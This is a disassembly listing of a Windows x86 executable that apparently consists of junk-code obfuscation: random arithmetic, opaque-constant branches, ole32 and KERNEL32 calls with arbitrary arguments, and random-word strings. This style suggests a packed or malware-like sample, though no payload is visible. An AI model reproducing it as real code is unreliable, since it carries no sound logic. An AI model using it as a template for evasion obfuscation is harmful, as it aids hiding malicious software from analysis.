mov eax, dword [ebp - 0x2958]
add eax, 0xb7
mov dword [ebp - 0x2958], eax
mov ecx, dword [ebp - 0x4e3c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4c80]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x4e3c]
mov byte [eax], dl
movsx ecx, word [ebp - 0x24c4]
mov edx, dword [ebp - 0xbd00]
movsx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xcc5c], cx
movsx ecx, byte [0x51ce07]
mov edx, dword [ebp - 0x121f0]
movsx eax, byte [edx]
sub ecx, eax
mov byte [0x51b007], cl
jmp 0x406e5b
mov ecx, dword [ebp - 0xbd00]
movsx edx, word [ecx]
mov dword [ebp - 0x14ca8], edx
cmp dword [ebp - 0x14ca8], 0
je 0x406fa5
jmp 0x510831
mov eax, dword [ebp - 0xa850]
add eax, dword [ebp - 0x13718]
mov dword [ebp - 0x71a8], eax
lea ecx, [ebp - 0xa850]
mov dword [ebp - 0xc2a0], ecx
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ebp - 0x6974]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0xad30]
mov ecx, dword [eax]
or ecx, dword [ebp - 0xa850]
cmp edx, ecx
jge 0x407010
movzx edx, word [ebp - 0x1814]
movzx eax, word [ebp - 0xd434]
xor edx, eax
mov ecx, dword [ebp - 0x4888]
mov word [ecx], dx
movzx edx, byte [ebp - 0x125c9]
push edx
call fcn.00511710
add esp, 4
lea eax, [ebp - 0x3b89]
mov dword [0x51e248], eax
mov ecx, dword [ebp - 0x4134]
mov dl, byte [ecx]
mov byte [ebp - 0x14cac], dl
cmp byte [ebp - 0x14cac], 0
je 0x407037
jmp 0x5107d9
mov al, byte [ebp - 0xb3c1]
mov byte [ebp - 0x14cb0], al
cmp byte [ebp - 0x14cb0], 0
je 0x407085
cmp byte [ebp - 0x14cb0], 0x9d
je 0x40705a
jmp 0x5107a9
lea ecx, [ebp - 0x13e80]
push ecx
lea edx, [ebp - 0x4e3c]
push edx
push str.Inexact_crackpot_Improvisational_dingo_Malign
lea eax, [ebp - 0xa51c]
push eax
call dword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [ebp - 0xa51c], eax
jmp 0x5107a9
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ecx]
add edx, dword [ebp - 0x13718]
mov eax, dword [ebp - 0xad30]
mov dword [eax], edx
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ecx]
mov dword [ebp - 0x14cb4], edx
cmp dword [ebp - 0x14cb4], 0
je 0x4070c3
cmp dword [ebp - 0x14cb4], 0xaea41daf
je 0x40710b
jmp 0x4071cc
mov eax, dword [ebp - 0xedd4]
mov ecx, dword [eax]
mov dword [ebp - 0x14cb8], ecx
cmp dword [ebp - 0x14cb8], 0xc9ea8b6b
je 0x4070df
jmp 0x407106
movzx edx, word [ebp - 0xcc5c]
push edx
mov eax, dword [ebp - 0xbd00]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x6974]
mov edx, dword [edx]
mov eax, dword [ebp - 0x6974]
mov ecx, dword [eax]
call fcn.00511630
jmp 0x4071cc
mov ecx, dword [ebp - 0xbd00]
movsx edx, word [ecx]
mov dword [ebp - 0x14cbc], edx
cmp dword [ebp - 0x14cbc], 0x3ed6
je 0x407128
jmp 0x407147
mov eax, dword [ebp - 0x49b0]
movsx ecx, word [eax]
mov edx, dword [0x51de40]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0xbd00]
mov word [edx], cx
jmp 0x4071a7
lea eax, [ebp - 0x60d0]
push eax
call dword [sym.imp.ole32.dll_CoInvalidateRemoteMachineBindings]
mov dword [ebp - 0x3cc4], eax
movsx ecx, byte [ebp - 0xb7e]
movsx edx, byte [0x51ce07]
sub ecx, edx
mov byte [ebp - 0xfc89], cl
mov eax, dword [ebp - 0x4888]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x2548]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0xd348]
mov word [edx], cx
lea eax, [ebp - 0x10df0]
push eax
lea ecx, [ebp - 0xbd00]
push ecx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
mov dword [ebp - 0x7860], eax
mov edx, dword [ebp - 0x49b0]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
push edx
mov edx, dword [ebp - 0x84e8]
mov ecx, dword [ebp - 0xd4bc]
call fcn.00511530
mov eax, dword [ebp - 0x9ac4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3b89]
add ecx, edx
mov eax, dword [ebp - 0x8b68]
movzx edx, byte [eax]
mov eax, dword [0x51e248]
movzx eax, byte [eax]
sub edx, eax
cmp ecx, edx
jle 0x407271
mov ecx, dword [ebp - 0x96a4]
mov dword [ebp - 0x14cc0], ecx
cmp dword [ebp - 0x14cc0], 0xf8d71256
je 0x40720f
jmp 0x407255
movzx edx, byte [ebp - 0x125c9]
mov eax, dword [ebp - 0x8b68]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x51e248]
mov byte [ecx], dl
mov edx, dword [ebp - 0x12a4c]
xor edx, dword [ebp - 0xd4bc]
mov dword [ebp - 0x96a4], edx
push str.france_vaccines_discovered_Memphis
lea eax, [ebp - 0x9468]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 0x10588], eax
jmp 0x40726f
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ebp - 0xf424]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0xd1e4]
mov dword [ecx], eax
jmp 0x4072c2
movzx edx, byte [ebp - 0xb3c1]
movzx eax, byte [ebp - 0x3b89]
add edx, eax
movzx ecx, byte [ebp - 0x125c9]
mov eax, dword [ebp - 0x308c]
movzx eax, byte [eax]
or ecx, eax
cmp edx, ecx
jge 0x4072c2
movzx ecx, word [ebp - 0xd434]
mov edx, dword [ebp - 0x58f8]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0xe6fc], cx
mov ecx, dword [0x51c7c4]
movzx edx, byte [ecx]
push edx
call fcn.00511710
add esp, 4
mov eax, dword [ebp - 0x13718]
mov dword [ebp - 0x14cc4], eax
cmp dword [ebp - 0x14cc4], 0
je 0x4072ec
cmp dword [ebp - 0x14cc4], 0x3b4fe7be
je 0x510724
jmp 0x510749
mov ecx, dword [ebp - 0x4888]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
add edx, ecx
movzx eax, word [0x51d910]
movzx ecx, word [ebp - 0xe6fc]
add eax, ecx
cmp edx, eax
jg 0x407434
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ebp - 0xad30]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x8620], ecx
movsx edx, byte [ebp - 0x8bbd]
movsx eax, byte [ebp - 0xb7e]
or edx, eax
movsx eax, byte [0x51ce07]
mov ecx, dword [ebp - 0xf26c]
movsx ecx, byte [ecx]
sar eax, cl
cmp edx, eax
jne 0x407432
mov edx, dword [ebp - 0x6974]
mov eax, dword [ebp - 0x71a8]
xor eax, dword [edx]
mov ecx, dword [ebp - 0xc2a0]
mov dword [ecx], eax
lea edx, [ebp - 0xd434]
mov dword [0x51dafc], edx
mov eax, dword [ebp - 0x71a8]
mov dword [ebp - 0x14cc8], eax
cmp dword [ebp - 0x14cc8], 0
je 0x4073a0
cmp dword [ebp - 0x14cc8], 0x4c7c1251
je 0x407419
jmp 0x407432
movzx ecx, word [ebp - 0xd434]
mov dword [ebp - 0x14ccc], ecx
cmp dword [ebp - 0x14ccc], 0xb1a
je 0x4073bb
jmp 0x407417
lea edx, [ebp - 0x60d0]
push edx
lea eax, [ebp - 0x71b8]
push eax
call dword [sym.imp.ole32.dll_CoGetTreatAsClass]
mov dword [ebp - 0x7860], eax
mov ecx, dword [ebp - 0x8b68]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x3b89]
shl edx, cl
mov eax, dword [ebp - 0x8b68]
mov byte [eax], dl
mov ecx, dword [ebp - 0x8c8c]
mov edx, dword [ebp - 0xf22c]
sub edx, dword [ecx]
mov dword [ebp - 0x67dc], edx
mov eax, dword [ebp - 0x10df0]
and eax, dword [ebp - 0x8620]
mov ecx, dword [ebp - 0xad30]
mov dword [ecx], eax
jmp 0x407432
mov edx, dword [ebp - 0xbd00]
movsx eax, word [edx]
movsx ecx, word [0x51b004]
add eax, ecx
mov word [ebp - 0x84e8], ax
jmp 0x407473
push 0x73
lea edx, [ebp - 0x31bc]
push edx
lea eax, [ebp - 0x8bbd]
push eax
call dword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
mov dword [ebp - 0xb0d4], eax
movzx ecx, word [ebp - 0x24c4]
push ecx
mov edx, dword [ebp - 0x49b0]
movzx eax, word [edx]
push eax
mov edx, dword [ebp - 0xa850]
mov ecx, dword [ebp - 0x13718]
call fcn.00511630
movsx ecx, byte [0x51ce07]
mov edx, dword [ebp - 0x4c80]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x121f0]
mov byte [edx], cl
lea eax, [ebp - 0xb3c1]
mov dword [ebp - 0xb7d0], eax
mov ecx, dword [ebp - 0xb7d0]
movzx edx, byte [ecx]
mov eax, dword [0x51e248]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x308c]
movzx ecx, byte [eax]
movzx eax, byte [ebp - 0x125c9]
sub ecx, eax
cmp edx, ecx
jg 0x40771a
movsx ecx, word [ebp - 0x24c4]
movsx edx, word [ebp - 0x84e8]
add ecx, edx
movsx eax, word [0x51b004]
movsx edx, word [ebp - 0xcc5c]
add eax, edx
cmp ecx, eax
jne 0x4075f9
mov eax, dword [ebp - 0xd348]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xe6fc]
sub ecx, edx
mov word [ebp - 0x119a8], cx
mov eax, dword [ebp - 0xf22c]
mov dword [ebp - 0x14cd0], eax
cmp dword [ebp - 0x14cd0], 0x55e85b03
je 0x407534
cmp dword [ebp - 0x14cd0], 0xd3c84137
je 0x4075d1
jmp 0x4075f9
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ebp - 0x96a4]
and edx, dword [ecx]
mov eax, dword [ebp - 0x8c8c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308c]
mov dl, byte [ecx]
mov byte [ebp - 0x14cd4], dl
cmp byte [ebp - 0x14cd4], 0x15
je 0x4075ba
cmp byte [ebp - 0x14cd4], 0xfb
je 0x40756c
jmp 0x4075cf
lea eax, [ebp - 0xf26c]
push eax
push 0xe1
push 0xab
call dword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [ebp - 0x10284], eax
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0xad30]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [section..data], eax
mov ecx, dword [ebp - 0xad30]
mov edx, dword [ebp - 0x6974]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0xad30]
mov dword [ecx], eax
jmp 0x4075cf
push 0
mov edx, dword [ebp - 0x14560]
push edx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [ebp - 0x10284], eax
jmp 0x4075f9
mov eax, dword [ebp - 0x8620]
push eax
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x8c8c]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xedd4]
mov eax, dword [edx]
push eax
call fcn.005116a0
mov ecx, dword [ebp - 0x67dc]
mov dword [ebp - 0x14cd8], ecx
cmp dword [ebp - 0x14cd8], 0
je 0x407613
jmp 0x4076e9
mov edx, dword [ebp - 0x96a4]
mov dword [ebp - 0x14cdc], edx
cmp dword [ebp - 0x14cdc], 0
je 0x40763d
cmp dword [ebp - 0x14cdc], 0x84863409
je 0x4076d1
jmp 0x4076e7
mov al, byte [ebp - 0x3b89]
mov byte [ebp - 0x14ce0], al
cmp byte [ebp - 0x14ce0], 0xdc
je 0x407654
jmp 0x4076cf
mov ecx, dword [ebp - 0xf22c]
mov dword [ebp - 0x14ce4], ecx
cmp dword [ebp - 0x14ce4], 0x95fc3739
je 0x40766e
jmp 0x4076b4
mov edx, dword [ebp - 0xf22c]
mov ecx, dword [ebp - 0x96a4]
shl edx, cl
mov eax, dword [ebp - 0xedd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc2a0]
mov edx, dword [ebp - 0x10df0]
xor edx, dword [ecx]
mov dword [ebp - 0x8620], edx
lea eax, [ebp - 0x10b08]
push eax
lea ecx, [ebp - 0xde24]
push ecx
call dword [sym.imp.ole32.dll_StringFromIID]
mov dword [ebp - 0xaec4], eax
jmp 0x4076cf
mov edx, dword [ebp - 0xd348]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1814]
add eax, ecx
mov edx, dword [ebp - 0x2548]
mov word [edx], ax
jmp 0x4076e7
movzx eax, byte [ebp - 0x125c9]
movzx ecx, byte [ebp - 0x3b89]
add eax, ecx
mov byte [ebp - 0xb3c1], al
jmp 0x40771a
push 0x8f
mov edx, dword [ebp - 0xd4f0]
push edx
push 0xe2
push 0x6c
lea eax, [ebp - 0x7860]
push eax
push 0x12
push 7
lea ecx, [ebp - 0x9f98]
push ecx
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov dword [ebp - 0x3cc4], eax
mov edx, dword [ebp - 0xbd00]
movsx eax, word [edx]
movsx ecx, word [0x51b004]
and eax, ecx
mov edx, dword [ebp - 0x49b0]
movsx ecx, word [edx]
mov edx, dword [0x51de40]
movsx edx, word [edx]
add ecx, edx
cmp eax, ecx
jl 0x510691
mov eax, dword [ebp - 0x308c]
mov cl, byte [eax]
mov byte [ebp - 0x4961], cl
mov edx, dword [ebp - 0xad30]
mov eax, dword [ebp - 0x71a8]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0x13718]
mov ecx, dword [ecx]
sar edx, cl
cmp eax, edx
jg 0x5105b8
mov eax, dword [ebp - 0xd1e4]
mov ecx, dword [ebp - 0x12a4c]
add ecx, dword [eax]
mov dword [ebp - 0xd4bc], ecx
mov edx, dword [ebp - 0x6974]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xad30]
add eax, dword [ecx]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], eax
lea eax, [ebp - 0x125c9]
mov dword [ebp - 0x10f18], eax
movzx ecx, word [0x51d910]
movzx edx, word [ebp - 0xe6fc]
sub ecx, edx
mov eax, dword [ebp - 0x58f8]
mov word [eax], cx
mov ecx, dword [ebp - 0x8620]
mov dword [ebp - 0x14ce8], ecx
cmp dword [ebp - 0x14ce8], 0
je 0x4077e7
jmp 0x40787e
lea edx, [ebp - 0x8620]
mov dword [ebp - 0x7208], edx
movzx eax, word [ebp - 0x1814]
mov dword [ebp - 0x14cec], eax
cmp dword [ebp - 0x14cec], 0
je 0x407817
cmp dword [ebp - 0x14cec], 0x85d
je 0x407864
jmp 0x40787c
mov ecx, dword [section..data]
add ecx, dword [ebp - 0x10df0]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
mov eax, dword [ebp - 0x8c8c]
mov ecx, dword [ebp - 0x96a4]
sub ecx, dword [eax]
mov dword [ebp - 0x12a4c], ecx
mov dl, byte [ebp - 0xb3c1]
mov byte [ebp - 0x2461], dl
movzx eax, word [0x51d910]
movzx ecx, word [ebp - 0xd434]
xor eax, ecx
mov word [ebp - 0xe6fc], ax
jmp 0x40787c
mov edx, dword [ebp - 0xad30]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xa850]
sar eax, cl
mov ecx, dword [ebp - 0x6974]
mov dword [ecx], eax
jmp 0x4078d0
lea edx, [ebp - 0xc1ec]
push edx
lea eax, [ebp - 0x2b30]
push eax
call dword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [ebp - 0x3cc4], eax
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ecx]
or edx, dword [0x51b008]
mov dword [ebp - 0xa850], edx
mov eax, dword [ebp - 0x8c8c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xd4bc]
shl edx, cl
mov eax, dword [ebp - 0xf424]
mov dword [eax], edx
call dword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [ebp - 0x7860], eax
mov ecx, dword [ebp - 0x49b0]
movsx edx, word [ecx]
mov dword [ebp - 0x14cf0], edx
cmp dword [ebp - 0x14cf0], 0
je 0x4079f2
cmp dword [ebp - 0x14cf0], 0x308c
je 0x4078fd
jmp 0x407a4c
mov eax, dword [ebp - 0xbd00]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x84e8]
and ecx, edx
mov eax, dword [0x51de40]
mov word [eax], cx
movsx ecx, byte [ebp - 0xb7e]
movsx edx, byte [ebp - 0xfc89]
add ecx, edx
mov eax, dword [ebp - 0xf26c]
movsx edx, byte [eax]
movsx eax, byte [ebp - 0x8bbd]
sub edx, eax
cmp ecx, edx
jg 0x4079cd
movsx ecx, word [ebp - 0x84e8]
mov dword [ebp - 0x14cf4], ecx
cmp dword [ebp - 0x14cf4], 0x9ab
je 0x4079b3
cmp dword [ebp - 0x14cf4], 0x5884
je 0x407968
jmp 0x4079cb
mov edx, dword [ebp - 0xc2a0]
mov eax, dword [edx]
and eax, dword [ebp - 0xa850]
mov dword [ebp - 0x8620], eax
mov ecx, dword [ebp - 0xc1c4]
push ecx
mov edx, dword [ebp - 0xc1c8]
push edx
call dword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [ebp - 0x189c], eax
movsx eax, word [ebp - 0x84e8]
mov ecx, dword [ebp - 0xbd00]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x49b0]
mov word [ecx], ax
jmp 0x4079cb
mov edx, dword [ebp - 0xf26c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xb7e]
add eax, ecx
mov byte [ebp - 0x8bbd], al
jmp 0x4079f0
movzx edx, word [ebp - 0xcc5c]
push edx
mov eax, dword [ebp - 0x49b0]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x10df0]
mov ecx, dword [ebp - 0x8620]
call fcn.00511630
jmp 0x407a4c
mov edx, dword [ebp - 0x4134]
mov al, byte [edx]
mov byte [ebp - 0xfaa1], al
movzx ecx, word [ebp - 0xe6fc]
movzx edx, word [ebp - 0x1814]
add ecx, edx
mov word [ebp - 0x119a8], cx
mov eax, dword [ebp - 0x96a4]
sub eax, dword [ebp - 0x115a4]
mov dword [ebp - 0xf22c], eax
lea ecx, [ebp - 0x10df0]
mov dword [ebp - 0x8870], ecx
movzx edx, word [ebp - 0x1814]
movzx eax, word [ebp - 0xe6fc]
or edx, eax
mov word [ebp - 0xd434], dx
mov dword [0x51e130], 0x51b006
lea ecx, [ebp - 0xd4bc]
mov dword [ebp - 0x11b8], ecx
mov edx, dword [ebp - 0x8870]
mov eax, dword [ebp - 0x6974]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x7208]
mov dword [eax], edx
lea ecx, [ebp - 0x8620]
mov dword [ebp - 0x117c], ecx
mov edx, dword [ebp - 0xd1e4]
mov eax, dword [ebp - 0x12a4c]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x11b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x71a8]
mov dword [ebp - 0x14cf8], edx
cmp dword [ebp - 0x14cf8], 0
je 0x407ab8
jmp 0x407b64
mov eax, dword [ebp - 0x71a8]
mov dword [ebp - 0x14cfc], eax
cmp dword [ebp - 0x14cfc], 0x52be6916
je 0x407ad2
jmp 0x407b25
lea ecx, [ebp - 0xc1ec]
push ecx
call dword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [ebp - 0xdc88], eax
mov edx, dword [ebp - 0x9ac4]
movzx eax, byte [edx]
movzx ecx, byte [0x51b006]
shl eax, cl
mov ecx, dword [ebp - 0x10f18]
mov byte [ecx], al
movzx edx, word [0x51b004]
push edx
movzx eax, word [ebp - 0xe6fc]
push eax
mov ecx, dword [ebp - 0xbd00]
mov dx, word [ecx]
mov ecx, dword [ebp - 0x12a4c]
call fcn.00511530
jmp 0x407b62
movzx edx, word [ebp - 0xe6fc]
mov eax, dword [ebp - 0x2548]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x4888]
mov word [eax], dx
lea ecx, [ebp - 0x10df0]
mov dword [ebp - 0x10f2c], ecx
mov edx, dword [ebp - 0x3e58]
mov eax, dword [ebp - 0xa850]
add eax, dword [edx]
mov ecx, dword [ebp - 0xad30]
mov dword [ecx], eax
jmp 0x407bcd
movsx edx, word [ebp - 0xcc5c]
mov eax, dword [ebp - 0xbd00]
movsx ecx, word [eax]
sub edx, ecx
mov word [0x51b004], dx
mov edx, dword [ebp - 0x4e3c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x8bbd]
sub eax, ecx
mov edx, dword [ebp - 0x121f0]
mov byte [edx], al
mov eax, dword [ebp - 0x10f2c]
mov ecx, dword [eax]
mov dword [ebp - 0x14d00], ecx
cmp dword [ebp - 0x14d00], 0x6a73ae24
je 0x407bb3
jmp 0x407bba
call fcn.00511170
jmp 0x407bcd
mov edx, dword [ebp - 0xc42c]
push edx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov dword [ebp - 0xdc88], eax
mov al, byte [ebp - 0xb7e]
mov byte [ebp - 0x14d04], al
cmp byte [ebp - 0x14d04], 0x44
je 0x407be7
jmp 0x407cb6
mov ecx, dword [ebp - 0x4888]
movzx edx, word [ecx]
movzx eax, word [0x51d910]
sub edx, eax
movzx ecx, word [ebp - 0xe6fc]
movzx eax, word [ebp - 0x119a8]
add ecx, eax
cmp edx, ecx
jl 0x407c34
mov ecx, dword [ebp - 0x11b8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x96a4]
mov dword [ebp - 0x115a4], edx
lea eax, [ebp - 0xc50c]
push eax
call dword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [ebp - 0xc2e0], eax
mov ecx, dword [ebp - 0xad30]
mov edx, dword [0x51b008]
or edx, dword [ecx]
mov eax, dword [ebp - 0x7208]
mov dword [eax], edx
lea ecx, [ebp - 0x4134]
push ecx
push 0xc0
lea edx, [ebp - 0x8bbd]
push edx
push 0xf4
push 0xf
lea eax, [ebp - 0x4c80]
push eax
lea ecx, [ebp - 0xf22c]
push ecx
lea edx, [ebp - 0x5a54]
push edx
call dword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [ebp - 0xc2e0], eax
mov eax, dword [ebp - 0xc2a0]
mov edx, dword [ebp - 0x8620]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0xa850], edx
mov eax, dword [ebp - 0x7208]
mov ecx, dword [ebp - 0x8620]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x3e58]
mov dword [edx], ecx
jmp 0x51056d
lea eax, [ebp - 0xd434]
mov dword [ebp - 0xf458], eax
mov ecx, dword [ebp - 0xedd4]
mov edx, dword [ebp - 0x8850]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x115a4]
and eax, dword [ebp - 0x96a4]
cmp edx, eax
ja 0x510483
mov ecx, dword [ebp - 0xd348]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4888]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [0x51dafc]
movzx eax, word [eax]
movzx ecx, word [ebp - 0xe6fc]
sar eax, cl
cmp edx, eax
jge 0x407d48
movsx ecx, word [ebp - 0x84e8]
movsx edx, word [ebp - 0xcc5c]
add ecx, edx
mov eax, dword [ebp - 0x49b0]
mov word [eax], cx
movsx ecx, byte [ebp - 0xb7e]
movsx edx, byte [ebp - 0x8bbd]
sub ecx, edx
mov byte [ebp - 0xfc89], cl
call fcn.00511170
jmp 0x5103c4
movsx eax, word [ebp - 0x24c4]
mov ecx, dword [ebp - 0xbd00]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x49b0]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0xcc5c]
sub edx, ecx
cmp eax, edx
jne 0x407e36
mov edx, dword [ebp - 0x8b68]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xb3c1]
and eax, ecx
movzx edx, byte [ebp - 0x2461]
mov ecx, dword [ebp - 0xb7d0]
movzx ecx, byte [ecx]
or edx, ecx
cmp eax, edx
jg 0x407e34
mov edx, dword [ebp - 0x10f2c]
mov eax, dword [edx]
mov dword [ebp - 0x14d08], eax
cmp dword [ebp - 0x14d08], 0
je 0x407df7
cmp dword [ebp - 0x14d08], 0x41dcaab9
je 0x407dc5
jmp 0x407e34
mov ecx, dword [ebp - 0x8870]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x10df0]
sar edx, cl
mov eax, dword [ebp - 0x3e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x308c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xb3c1]
xor edx, eax
mov byte [ebp - 0x4961], dl
jmp 0x407e34
movzx edx, word [ebp - 0x119a8]
movzx ecx, word [ebp - 0x1814]
shl edx, cl
mov eax, dword [ebp - 0x4888]
mov word [eax], dx
mov ecx, dword [ebp - 0x6974]
mov edx, dword [ebp - 0x7208]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x10f2c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8850]
mov dword [ebp - 0x158c], edx
jmp 0x407e50
push 0x6d
lea eax, [ebp - 0x9f98]
push eax
push str.Herb_technology_Undergoes
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 0xd4bc], eax
mov cl, byte [ebp - 0x4961]
mov byte [ebp - 0x14d0c], cl
cmp byte [ebp - 0x14d0c], 0
je 0x407e6a
jmp 0x5102c0
mov dl, byte [ebp - 0x2461]
mov byte [ebp - 0x14d10], dl
cmp byte [ebp - 0x14d10], 0x52
je 0x407eb2
cmp byte [ebp - 0x14d10], 0x75
je 0x407e8a
jmp 0x407ec2
mov eax, dword [ebp - 0x10df0]
sub eax, dword [ebp - 0x71a8]
mov ecx, dword [ebp - 0xad30]
mov dword [ecx], eax
mov edx, dword [0x51b008]
or edx, dword [ebp - 0x8620]
mov dword [ebp - 0x71a8], edx
jmp 0x407ec2
movzx eax, byte [ebp - 0x4961]
push eax
call fcn.00511710
add esp, 4
mov ecx, dword [ebp - 0x3e58]
mov edx, dword [ebp - 0x7208]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x10f2c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x10f18]
mov al, byte [edx]
mov byte [ebp - 0x14d14], al
cmp byte [ebp - 0x14d14], 0
je 0x407f03
cmp byte [ebp - 0x14d14], 0x6f
je 0x51020f
jmp 0x510229
mov ecx, dword [ebp - 0xd1e4]
mov edx, dword [ecx]
mov dword [ebp - 0x14d18], edx
cmp dword [ebp - 0x14d18], 0
je 0x407f41
cmp dword [ebp - 0x14d18], 0x753347b1
je 0x407f2b
jmp 0x407fff
mov eax, dword [0x51e248]
movzx ecx, byte [eax]
push ecx
call fcn.00511710
add esp, 4
jmp 0x407fff
mov edx, dword [ebp - 0x9ac4]
mov al, byte [edx]
mov byte [ebp - 0x13b75], al
mov ecx, dword [ebp - 0x2548]
mov dx, word [ecx]
mov word [0x51cbdc], dx
mov al, byte [ebp - 0xfc89]
mov byte [ebp - 0x14d1c], al
cmp byte [ebp - 0x14d1c], 0
je 0x407f76
jmp 0x407fe2
mov ecx, dword [ebp - 0x49b0]
movsx edx, word [ecx]
mov dword [ebp - 0x14d20], edx
cmp dword [ebp - 0x14d20], 0x13f5
je 0x407f93
jmp 0x407fe0
lea eax, [ebp - 0x308c]
push eax
mov ecx, dword [ebp - 0x14ae0]
push ecx
mov edx, dword [ebp - 0x14ae0]
push edx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov dword [ebp - 0x8030], eax
mov eax, dword [ebp - 0x8c8c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xf424]
add ecx, dword [edx]
mov eax, dword [ebp - 0x11b8]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x11b8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x12a4c]
mov dword [ebp - 0xd4bc], edx
jmp 0x407fff
mov eax, dword [ebp - 0x58f8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xd348]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x2548]
mov word [edx], cx
mov eax, dword [ebp - 0x4134]
mov cl, byte [eax]
mov byte [ebp - 0x14d24], cl
cmp byte [ebp - 0x14d24], 0
je 0x40801b
jmp 0x4080f1
movzx edx, word [ebp - 0x1814]
mov dword [ebp - 0x14d28], edx
cmp dword [ebp - 0x14d28], 0
je 0x408042
cmp dword [ebp - 0x14d28], 0xa4d
je 0x4080bc
jmp 0x4080ec
mov eax, dword [ebp - 0xf26c]
mov cl, byte [eax]
mov byte [ebp - 0x14d2c], cl
cmp byte [ebp - 0x14d2c], 0x67
je 0x4080a2
cmp byte [ebp - 0x14d2c], 0x74
je 0x408064
jmp 0x4080ba
movzx edx, byte [ebp - 0x125c9]
movzx eax, byte [ebp - 0xfaa1]
sub edx, eax
mov byte [ebp - 0xb3c1], dl
lea ecx, [ebp - 0xdc88]
push ecx
lea edx, [ebp - 0x126f8]
push edx
lea eax, [ebp - 0xbd00]
push eax
call dword [sym.imp.ole32.dll_CoUnmarshalInterface]
